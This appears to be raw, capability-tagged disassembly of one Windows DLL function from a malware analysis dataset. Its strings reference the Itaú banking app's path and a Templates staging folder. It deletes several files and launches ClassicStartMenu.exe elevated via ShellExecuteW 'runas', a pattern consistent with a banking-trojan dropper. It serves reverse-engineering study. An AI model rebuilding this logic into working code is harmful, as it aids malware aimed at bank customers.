Function at 0x180007030
Capabilities:
Create process on windows
Delete file
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x180045058]
xor rax, rsp
mov qword [rbp + 0x100], rax
xor r14d, r14d
lea rdx, [0x180045c88]
lea rcx, [rsp + 0x40]
call fcn.180009ef0
mov rdx, rax
lea rcx, [0x180047940]
call fcn.180004c00
test al, al
je 0x18000840b
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x180045c88]
lea rcx, [rsp + 0x40]
call fcn.180009ef0
mov rdx, rax
lea rcx, [0x180047940]
call fcn.180004c00
test al, al
je 0x18000840b
mov byte [0x180047911], 1
mov ecx, 0x18bd
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call fcn.1800022b0
nop
lea r9d, [r14 + 9]
lea r8, str.C:Users_
mov rcx, rax
call fcn.18000bf80
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea r8d, [r14 + 0x31]
lea rdx, str.AppDataLocalAplicativo_Itauitauaplicativo.exe
lea rcx, [rbp - 0x80]
call fcn.18000a830
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rcx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rcx, qword [rbp + 0xe0]
call fcn.1800035f0
movzx ebx, al
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1800071c9
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800071c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000843d
call fcn.18000dc40
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x18000721d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007218
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008443
call fcn.18000dc40
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18000726a
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007265
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008449
call fcn.18000dc40
test bl, bl
setne byte [0x180047912]
lea rcx, [rsp + 0x40]
call fcn.1800022b0
nop
mov r9d, 9
lea r8, str.C:Users_
mov rcx, rax
call fcn.18000bf80
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x2c
lea rdx, str.AppDataRoamingMicrosoftWindowsTemplates
lea rcx, [rsp + 0x60]
call fcn.18000a830
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [0x180045c80]
cmp rdx, 0x10
jb 0x180007346
mov rcx, qword [0x180045c68]
inc rdx
cmp rdx, 0x1000
jb 0x180007336
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180008455
mov rcx, r8
call fcn.18000dc40
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [0x180045c68], xmm0
movups xmmword [0x180045c78], xmm1
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180007391
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000738c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000844f
call fcn.18000dc40
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800073e1
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800073dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000845b
call fcn.18000dc40
call fcn.180003e10
mov ecx, 0x51a
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x60]
call fcn.180002b40
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.1800029d0
nop
mov r8d, 1
lea rdx, [0x18003f384]
mov rcx, rax
call fcn.18000a830
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, rbx
lea r8, [rsp + 0x40]
lea rcx, [rbp + 0xe0]
call fcn.18000bc70
nop
mov r8d, 4
lea rdx, str..dll
lea rcx, [rbp + 0xe0]
call fcn.18000a830
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1800074e4
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800074df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008461
call fcn.18000dc40
mov qword [rbp + 0xf0], r14
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18000753b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007535
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008467
call fcn.18000dc40
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180007576
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007571
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000846d
call fcn.18000dc40
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800075c1
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800075bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008473
call fcn.18000dc40
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
lea rcx, [rsp + 0x40]
call fcn.180002b40
nop
mov r9d, 0x14
lea r8, str.c:windows_system32_
mov rcx, rax
call fcn.18000bf80
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..dll
lea rcx, [rsp + 0x60]
call fcn.18000a830
mov qword [rbp], r14
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18000769e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007699
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008479
call fcn.18000dc40
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800076ee
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800076e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000847f
call fcn.18000dc40
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rcx, qword [rbp + 0xc0]
call fcn.1800035f0
test al, al
je 0x1800078a8
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
call fcn.1800035f0
test al, al
je 0x18000787e
lea rbx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rbx, qword [rbp]
lea rcx, [rbp]
cmovae rcx, qword [rbp]
mov rdi, qword [rbp + 0x10]
add rdi, rcx
mov qword [rbp + 0xe0], r14
mov rcx, r14
mov qword [rbp + 0xf0], rcx
mov r8d, 7
mov qword [rbp + 0xf8], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x1800077a5
lea rcx, [rbp + 0xe0]
call fcn.18000c5e0
mov rcx, r14
mov qword [rbp + 0xf0], rcx
mov r8, qword [rbp + 0xf8]
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x80], rax
cmp rbx, rdi
je 0x180007814
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x1800077e9
lea rax, [rcx + 1]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
cmp r8, 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r14w
jmp 0x1800077fc
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0xe0]
call fcn.18000c750
inc rbx
mov r8, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x180007814
mov rcx, qword [rbp + 0xf0]
jmp 0x1800077b5
lea rcx, [rbp + 0xe0]
cmp r8, 8
cmovae rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x180007873
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000786e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008485
call fcn.18000dc40
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rcx, qword [rbp + 0xc0]
call fcn.180016564
lea rcx, [rbp - 0x60]
call fcn.1800029d0
nop
mov r8d, 0xb
lea rbx, str.pack01.zip
mov rdx, rbx
mov rcx, rax
call fcn.18000a830
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x70], r14
mov qword [rbp + 0x78], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x18000792f
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000792a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000848b
call fcn.18000dc40
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rcx, qword [0x180045c78]
movabs r15, 0x7fffffffffffffff
mov rax, r15
sub rax, rcx
cmp rax, 0xb
jb 0x180008491
lea rsi, [0x180045c68]
mov r9, rsi
cmp qword [0x180045c80], 0x10
cmovae r9, qword [0x180045c68]
mov qword [rsp + 0x30], 0xb
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x40]
call fcn.18000be60
nop
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rcx, qword [rbp + 0x60]
call fcn.1800035f0
test al, al
je 0x180007b2e
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rcx, qword [rbp + 0x40]
call fcn.1800035f0
test al, al
je 0x180007b0d
lea rdi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdi, qword [rbp + 0x40]
add rdi, qword [rbp + 0x50]
lea rbx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rbx, qword [rbp + 0x40]
mov qword [rbp + 0xe0], r14
mov rcx, r14
mov qword [rbp + 0xf0], rcx
mov r8d, 7
mov qword [rbp + 0xf8], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180007a34
lea rcx, [rbp + 0xe0]
call fcn.18000c5e0
mov rcx, r14
mov qword [rbp + 0xf0], rcx
mov r8, qword [rbp + 0xf8]
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x80], rax
cmp rbx, rdi
je 0x180007aa3
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180007a78
lea rax, [rcx + 1]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
cmp r8, 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r14w
jmp 0x180007a8b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0xe0]
call fcn.18000c750
inc rbx
mov r8, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x180007aa3
mov rcx, qword [rbp + 0xf0]
jmp 0x180007a44
lea rcx, [rbp + 0xe0]
cmp r8, 8
cmovae rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x180007b02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007afd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008497
call fcn.18000dc40
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rcx, qword [rbp + 0x60]
call fcn.180016564
mov ecx, 0x12f
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180045c78]
mov rax, r15
sub rax, rcx
cmp rax, 0x12
jb 0x18000849d
cmp qword [0x180045c80], 0x10
cmovae rsi, qword [0x180045c68]
mov qword [rsp + 0x30], 0x12
lea rax, str.ClassicIE_641.ini
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rsi
lea rcx, [rbp + 0xa0]
call fcn.18000be60
nop
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
call fcn.1800035f0
test al, al
je 0x180007cfe
lea rdi, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdi, qword [rbp + 0xa0]
add rdi, qword [rbp + 0xb0]
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rbx, qword [rbp + 0xa0]
mov qword [rbp + 0xe0], r14
mov rcx, r14
mov qword [rbp + 0xf0], rcx
mov r8d, 7
mov qword [rbp + 0xf8], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180007c2a
lea rcx, [rbp + 0xe0]
call fcn.18000c5e0
mov rcx, r14
mov qword [rbp + 0xf0], rcx
mov r8, qword [rbp + 0xf8]
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x80], rax
cmp rbx, rdi
je 0x180007c9f
nop word [rax + rax]
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180007c74
lea rax, [rcx + 1]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
cmp r8, 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r14w
jmp 0x180007c87
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0xe0]
call fcn.18000c750
inc rbx
mov r8, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x180007c9f
mov rcx, qword [rbp + 0xf0]
jmp 0x180007c40
lea rcx, [rbp + 0xe0]
cmp r8, 8
cmovae rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x180007cfe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007cf9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084a3
call fcn.18000dc40
lea rcx, [rsp + 0x40]
call fcn.1800029d0
nop
mov r8d, 0x15
lea rdx, str.ClassicStartMenu.txt
mov rcx, rax
call fcn.18000a830
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180007d85
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007d80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084a9
call fcn.18000dc40
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
lea rdi, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdi, qword [rbp + 0x20]
add rdi, qword [rbp + 0x30]
lea rbx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rbx, qword [rbp + 0x20]
mov qword [rbp - 0x40], r14
mov rcx, r14
mov qword [rbp - 0x30], rcx
mov r8d, 7
mov qword [rbp - 0x28], r8
mov word [rbp - 0x40], r14w
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180007df2
lea rcx, [rbp - 0x40]
call fcn.18000c5e0
mov rcx, r14
mov qword [rbp - 0x30], rcx
mov r8, qword [rbp - 0x28]
lea rax, [rbp - 0x40]
mov qword [rbp - 0x80], rax
cmp rbx, rdi
je 0x180007e4d
nop
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180007e2b
lea rax, [rcx + 1]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x40]
cmp r8, 8
cmovae rax, qword [rbp - 0x40]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r14w
jmp 0x180007e3b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x40]
call fcn.18000c750
inc rbx
mov r8, qword [rbp - 0x28]
cmp rbx, rdi
je 0x180007e4d
mov rcx, qword [rbp - 0x30]
jmp 0x180007e00
lea rcx, [rbp - 0x40]
cmp r8, 8
cmovae rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x40]
mov qword [rbp - 0x80], rax
lea r9, [rbp + 0xf5]
mov r8d, dword [0x180047958]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x180007e82
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
lea rax, [rbp + 0xf5]
cmp r9, rax
je 0x180007ee3
lea r8, [rbp + 0xf5]
sub r8, r9
mov rdx, r9
lea rcx, [rsp + 0x40]
call fcn.18000a6d0
nop
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
mov rdi, qword [rbp + 0x30]
lea rsi, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rsi, qword [rbp + 0x20]
cmp rdi, 0x10
jae 0x180007f19
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x60], xmm0
mov ebx, 0xf
jmp 0x180007f86
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180007f63
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800084af
mov rcx, rax
call fcn.18000dc74
mov rcx, rax
test rax, rax
je 0x1800084b5
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180007f72
test rcx, rcx
je 0x180007f6f
call fcn.18000dc74
jmp 0x180007f72
mov rax, r14
mov qword [rsp + 0x60], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.18000fbd0
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbx
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.180001d60
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call fcn.1800029d0
nop
mov r8d, 0x15
lea rdx, str.ClassicStartMenu.exe
mov rcx, rax
call fcn.18000a830
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x98], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180008040
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000803b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084bb
call fcn.18000dc40
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdx, qword [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
add rdi, rdx
lea rbx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rbx, qword [rbp + 0x80]
mov qword [rbp - 0x20], r14
mov rcx, r14
mov qword [rbp - 0x10], rcx
mov r9d, 7
mov qword [rbp - 8], r9
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x1800080c0
lea rcx, [rbp - 0x20]
call fcn.18000c5e0
mov rcx, r14
mov qword [rbp - 0x10], rcx
mov r9, qword [rbp - 8]
lea rax, [rbp - 0x20]
mov qword [rbp + 0xe0], rax
cmp rbx, rdi
je 0x18000811f
movsx edx, byte [rbx]
cmp rcx, r9
jae 0x1800080f9
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r9, 8
cmovae rax, qword [rbp - 0x20]
mov word [rax + rcx*2], dx
mov word [rax + rcx*2 + 2], r14w
jmp 0x18000810d
movzx r9d, dx
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x20]
call fcn.18000c750
inc rbx
mov r9, qword [rbp - 8]
cmp rbx, rdi
je 0x18000811f
mov rcx, qword [rbp - 0x10]
jmp 0x1800080d0
lea r8, [rbp - 0x20]
cmp r9, 8
cmovae r8, qword [rbp - 0x20]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r9, [0x18003f440]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18000818c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008187
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084c1
call fcn.18000dc40
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r14w
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1800081de
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800081d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084c7
call fcn.18000dc40
mov qword [rbp + 0x90], r14
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x180008237
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008232
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084cd
call fcn.18000dc40
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r14w
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x180008283
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000827e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084d3
call fcn.18000dc40
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1800082d4
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800082cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084d9
call fcn.18000dc40
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x180008328
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008323
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084df
call fcn.18000dc40
mov qword [rbp + 0x50], r14
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x180008373
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000836e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800084e5
call fcn.18000dc40
